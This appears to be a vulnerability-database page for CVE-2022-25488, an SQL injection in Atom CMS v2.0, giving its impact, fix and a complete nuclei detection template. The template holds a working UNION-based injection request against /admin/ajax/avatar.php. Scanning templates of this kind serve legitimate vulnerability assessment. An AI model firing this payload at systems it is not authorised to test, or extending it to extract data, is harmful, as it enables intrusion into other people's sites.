HexBrain

Browse / CVEs / CVE-2022-25488

CVE-2022-25488· thedigitalcraft / atomcms· CWE-89

Atom CMS v2.0 - SQL Injection

criticalseverity
9.8CVSS score
7.1%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Atom CMS v2.0 was discovered to contain a SQL injection vulnerability via the id parameter in /admin/ajax/avatar.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Fixed in version Atom CMS v2.1

How to confirm it

Send: GET {{BaseURL}}/admin/ajax/avatar.php?id=-1+union+select+md5({{num}})%23
Positive when: contains "/{{md5(num)}}" and "avatar-container" AND status 200

Run it with nuclei: nuclei -id CVE-2022-25488 -u <target>

The full check
id: CVE-2022-25488

info:
  name: Atom CMS v2.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Atom CMS v2.0 was discovered to contain a SQL injection vulnerability via the id parameter in /admin/ajax/avatar.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/257
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25488
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/superlink996/chunqiuyunjingbachang
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25488
    cwe-id: CWE-89
    epss-score: 0.07148
    epss-percentile: 0.94324
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: cve,cve2022,sqli,atom,cms,thedigitalcraft,vkev,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/ajax/avatar.php?id=-1+union+select+md5({{num}})%23"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/{{md5(num)}}"
          - "avatar-container"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from